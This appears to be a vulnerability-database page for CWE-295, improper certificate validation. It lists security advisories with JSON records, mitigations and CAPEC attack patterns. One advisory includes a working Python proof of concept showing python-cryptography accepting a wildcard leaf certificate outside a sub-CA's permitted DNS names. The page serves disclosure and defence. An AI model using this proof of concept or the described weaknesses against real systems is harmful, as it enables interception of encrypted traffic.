Common Weakness Enumeration

CWE-295

Allowed

Improper Certificate Validation

Abstraction: Base · Status: Draft

The product does not validate, or incorrectly validates, a certificate.

2039 vulnerabilities reference this CWE, most recent first.

GHSA-M2H6-J472-RP4C

Vulnerability from github – Published: 2026-08-03 21:26 – Updated: 2026-08-03 21:26
VLAI
Summary
python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 48.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "cryptography"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "49.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-03T21:26:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca\u0027s DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
  "id": "GHSA-m2h6-j472-rp4c",
  "modified": "2026-08-03T21:26:57Z",
  "published": "2026-08-03T21:26:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/pull/14888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyca/cryptography"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees"
}

GHSA-M35W-J7WJ-374V

Vulnerability from github – Published: 2023-06-13 12:30 – Updated: 2024-04-04 04:46
VLAI
Details

Jiyu Kukan Toku-Toku coupon App for iOS versions 3.5.0 and earlier, and Jiyu Kukan Toku-Toku coupon App for Android versions 3.5.0 and earlier are vulnerable to improper server certificate verification. If this vulnerability is exploited, a man-in-the-middle attack may allow an attacker to eavesdrop on an encrypted communication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-29501"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-13T10:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Jiyu Kukan Toku-Toku coupon App for iOS versions 3.5.0 and earlier, and Jiyu Kukan Toku-Toku coupon App for Android versions 3.5.0 and earlier are vulnerable to improper server certificate verification. If this vulnerability is exploited, a man-in-the-middle attack may allow an attacker to eavesdrop on an encrypted communication.",
  "id": "GHSA-m35w-j7wj-374v",
  "modified": "2024-04-04T04:46:14Z",
  "published": "2023-06-13T12:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29501"
    },
    {
      "type": "WEB",
      "url": "https://apps.apple.com/jp/app/%E8%87%AA%E9%81%8A%E7%A9%BA%E9%96%93%E3%81%A8%E3%81%8F%E3%81%A8%E3%81%8F%E3%82%AF%E3%83%BC%E3%83%9D%E3%83%B3/id608149604"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN33836375"
    },
    {
      "type": "WEB",
      "url": "https://play.google.com/store/apps/details?id=jp.runsystem"
    },
    {
      "type": "WEB",
      "url": "https://www.runsystem.co.jp/g1-pr/17570"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3CR-3Q92-CG98

Vulnerability from github – Published: 2026-08-20 00:35 – Updated: 2026-08-20 00:35
VLAI
Details

In Splunk SOAR versions below 8.6.0, an unauthenticated user who can observe or alter network traffic between Splunk SOAR and a configured CyberArk Representational State Transfer (REST) server could access or modify all relevant data exchanged through that credential manager. The vulnerability is possible because the CyberArk REST client does not verify server certificates by default. The attack requires the attacker to have network-path interception capability between Splunk SOAR and the configured CyberArk REST server. For more information see Manage your organization's credentials with a password vault (https://help.splunk.com/en/splunk-soar/soar-cloud/administer-soar-cloud/configure-administration-settings-in-splunk-soar-cloud/manage-your-organizations-credentials-with-a-password-vault) in the Splunk documentation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-76362"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T22:17:21Z",
    "severity": "HIGH"
  },
  "details": "In Splunk SOAR versions below 8.6.0, an unauthenticated user who can observe or alter network traffic between Splunk SOAR and a configured CyberArk Representational State Transfer (REST) server could access or modify all relevant data exchanged through that credential manager. The vulnerability is possible because the CyberArk REST client does not verify server certificates by default. The attack requires the attacker to have network-path interception capability between Splunk SOAR and the configured CyberArk REST server. For more information see Manage your organization\u0027s credentials with a password vault (https://help.splunk.com/en/splunk-soar/soar-cloud/administer-soar-cloud/configure-administration-settings-in-splunk-soar-cloud/manage-your-organizations-credentials-with-a-password-vault) in the Splunk documentation.",
  "id": "GHSA-m3cr-3q92-cg98",
  "modified": "2026-08-20T00:35:02Z",
  "published": "2026-08-20T00:35:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76362"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2026-0804"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3HP-XVXM-2X7Q

Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32
VLAI
Details

Philips IntelliSpace Portal all versions of 8.0.x, and 7.0.x have a self-signed SSL certificate vulnerability this could allow an attacker to gain unauthorized access to resources and information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-5466"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-26T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "Philips IntelliSpace Portal all versions of 8.0.x, and 7.0.x have a self-signed SSL certificate vulnerability this could allow an attacker to gain unauthorized access to resources and information.",
  "id": "GHSA-m3hp-xvxm-2x7q",
  "modified": "2022-05-13T01:32:06Z",
  "published": "2022-05-13T01:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5466"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSMA-18-058-02"
    },
    {
      "type": "WEB",
      "url": "https://www.usa.philips.com/healthcare/about/customer-support/product-security"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103182"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3HQ-3QJ8-C5FM

Vulnerability from github – Published: 2026-02-02 06:30 – Updated: 2026-03-26 21:31
VLAI
Summary
fog-kubevirt allows remote attacker to perform MITM attack due to disabled certificate validation
Details

A flaw was found in fog-kubevirt. This vulnerability allows a remote attacker to perform a Man-in-the-Middle (MITM) attack due to disabled certificate validation. This enables the attacker to intercept and potentially alter sensitive communications between Satellite and OpenShift, resulting in information disclosure and data integrity compromise.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "fog-kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T21:02:03Z",
    "nvd_published_at": "2026-02-02T06:16:20Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in fog-kubevirt. This vulnerability allows a remote attacker to perform a Man-in-the-Middle (MITM) attack due to disabled certificate validation. This enables the attacker to intercept and potentially alter sensitive communications between Satellite and OpenShift, resulting in information disclosure and data integrity compromise.",
  "id": "GHSA-m3hq-3qj8-c5fm",
  "modified": "2026-03-26T21:31:19Z",
  "published": "2026-02-02T06:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1530"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fog/fog-kubevirt/pull/168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fog/fog-kubevirt/commit/8371e9ded99f9ec3e74caf2f283836109763e450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fog/fog-kubevirt/commit/9603d79a239a0f68bedfc679cd1b65fbf6ec4753"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:5970"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:5971"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-1530"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433784"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fog/fog-kubevirt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fog/fog-kubevirt/blob/8adb03e07972d6e19a7713ecf2a827aa2cfe4b9e/CHANGELOG.md?plain=1#L11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fog/fog-kubevirt/releases/tag/v1.5.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/fog-kubevirt/CVE-2026-1530.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fog-kubevirt allows remote attacker to perform MITM attack due to disabled certificate validation"
}

GHSA-M447-7FH7-88XC

Vulnerability from github – Published: 2026-02-11 18:31 – Updated: 2026-02-12 15:32
VLAI
Details

An issue in Sunbird-Ed SunbirdEd-portal v1.13.4 allows attackers to obtain sensitive information. The application disables TLS/SSL certificate validation by setting 'rejectUnauthorized': false in HTTP request options

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-70029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-11T18:16:06Z",
    "severity": "HIGH"
  },
  "details": "An issue in Sunbird-Ed SunbirdEd-portal v1.13.4 allows attackers to obtain sensitive information. The application disables TLS/SSL certificate validation by setting \u0027rejectUnauthorized\u0027: false in HTTP request options",
  "id": "GHSA-m447-7fh7-88xc",
  "modified": "2026-02-12T15:32:43Z",
  "published": "2026-02-11T18:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70029"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/zcxlighthouse/e662c8316f98a1c72735cda4f6bfcfe6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sunbird-Ed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sunbird-Ed/SunbirdEd-portal"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M462-MQW4-2C8M

Vulnerability from github – Published: 2022-05-24 17:21 – Updated: 2026-02-06 22:58
VLAI
Summary
Mattermost Server has X.509 Improper Certificate Validation
Details

An issue was discovered in Mattermost Server before 3.8.2, 3.7.5, and 3.6.7. The X.509 certificate validation can be skipped for a TLS-based e-mail server.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.7-rc1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.8.0"
            },
            {
              "fixed": "3.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-18911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T22:58:06Z",
    "nvd_published_at": "2020-06-19T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Mattermost Server before 3.8.2, 3.7.5, and 3.6.7. The X.509 certificate validation can be skipped for a TLS-based e-mail server.",
  "id": "GHSA-m462-mqw4-2c8m",
  "modified": "2026-02-06T22:58:06Z",
  "published": "2022-05-24T17:21:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18911"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/222bce0c5c1abb2f58c3a6de1fe8c5d3accffb21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/691c18157025d4808b5b11de1d6de01050e54fa6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/e9bb8cdfb4915067349a4840ab15ff941c4eb070"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Server has X.509 Improper Certificate Validation"
}

GHSA-M4JM-XMCC-HJCM

Vulnerability from github – Published: 2023-05-10 06:30 – Updated: 2024-04-04 03:58
VLAI
Details

Improper following of a certificate's chain of trust exists in SkyBridge MB-A200 firmware Ver. 01.00.05 and earlier, and SkyBridge BASIC MB-A130 firmware Ver. 1.4.1 and earlier, which may allow a remote unauthenticated attacker to eavesdrop on or alter the communication sent to the WebUI of the product.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23901"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-10T06:15:11Z",
    "severity": "MODERATE"
  },
  "details": "Improper following of a certificate\u0027s chain of trust exists in SkyBridge MB-A200 firmware Ver. 01.00.05 and earlier, and SkyBridge BASIC MB-A130 firmware Ver. 1.4.1 and earlier, which may allow a remote unauthenticated attacker to eavesdrop on or alter the communication sent to the WebUI of the product.",
  "id": "GHSA-m4jm-xmcc-hjcm",
  "modified": "2024-04-04T03:58:26Z",
  "published": "2023-05-10T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23901"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN40604023"
    },
    {
      "type": "WEB",
      "url": "https://www.seiko-sol.co.jp/archives/73969"
    },
    {
      "type": "WEB",
      "url": "https://www.seiko-sol.co.jp/products/skybridge/skybridge_download/mb-a100"
    },
    {
      "type": "WEB",
      "url": "https://www.seiko-sol.co.jp/products/skybridge/skybridge_download/mb-a130"
    },
    {
      "type": "WEB",
      "url": "https://www.seiko-sol.co.jp/products/skybridge/skybridge_download/mb-a200"
    },
    {
      "type": "WEB",
      "url": "https://www.seiko-sol.co.jp/products/skyspider/skyspider_download/mb-r210"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M4RM-456C-72HQ

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2023-05-16 21:30
VLAI
Details

A certificate validation vulnerability in PCM600 Update Manager allows attacker to get unwanted software packages to be installed on computer which has PCM600 installed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-22278"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-28T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A certificate validation vulnerability in PCM600 Update Manager allows attacker to get unwanted software packages to be installed on computer which has PCM600 installed.",
  "id": "GHSA-m4rm-456c-72hq",
  "modified": "2023-05-16T21:30:17Z",
  "published": "2022-05-24T19:19:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22278"
    },
    {
      "type": "WEB",
      "url": "https://search.abb.com/library/Download.aspx?DocumentID=2NGA001142\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
    },
    {
      "type": "WEB",
      "url": "https://search.abb.com/library/Download.aspx?DocumentID=8DBD000056\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M562-W2V4-CHP8

Vulnerability from github – Published: 2023-07-11 09:30 – Updated: 2024-09-30 12:30
VLAI
Details

DroneScout ds230 Remote ID receiver from BlueMark Innovations is affected by an Improper Authentication vulnerability during the firmware update procedure.

Specifically, the firmware update procedure ignores and does not check the validity of the TLS certificate of the HTTPS endpoint from which the firmware update package (.tar.bz2 file) is downloaded. An attacker with the ability to put himself in a Man-in-the-Middle situation (e.g., DNS poisoning, ARP poisoning, control of a node on the route to the endpoint, etc.) can trick the DroneScout ds230 to install a crafted malicious firmware update containing arbitrary files (e.g., executable and configuration) and gain administrative (root) privileges on the underlying Linux operating system. This issue affects DroneScout ds230 firmware from version 20211210-1627 through 20230329-1042.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-31190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-11T09:15:09Z",
    "severity": "HIGH"
  },
  "details": "DroneScout ds230 Remote ID receiver from BlueMark Innovations is affected by an\u00a0Improper Authentication vulnerability during the firmware update procedure.\n\nSpecifically, the firmware update procedure ignores and does not check the validity of the TLS certificate of the HTTPS endpoint from which the firmware update package (.tar.bz2 file) is downloaded.\nAn attacker with the ability to put himself in a Man-in-the-Middle situation (e.g., DNS poisoning, ARP poisoning, control of a node on the route to the endpoint, etc.) can trick the DroneScout ds230 to install a crafted malicious firmware update containing arbitrary files (e.g., executable and configuration) and gain administrative (root) privileges on the underlying Linux operating system.\nThis issue affects DroneScout ds230 firmware from version 20211210-1627 through 20230329-1042.\n\n",
  "id": "GHSA-m562-w2v4-chp8",
  "modified": "2024-09-30T12:30:31Z",
  "published": "2023-07-11T09:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31190"
    },
    {
      "type": "WEB",
      "url": "https://download.bluemark.io/dronescout/firmware/history.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2023-31190"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Mitigation
Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.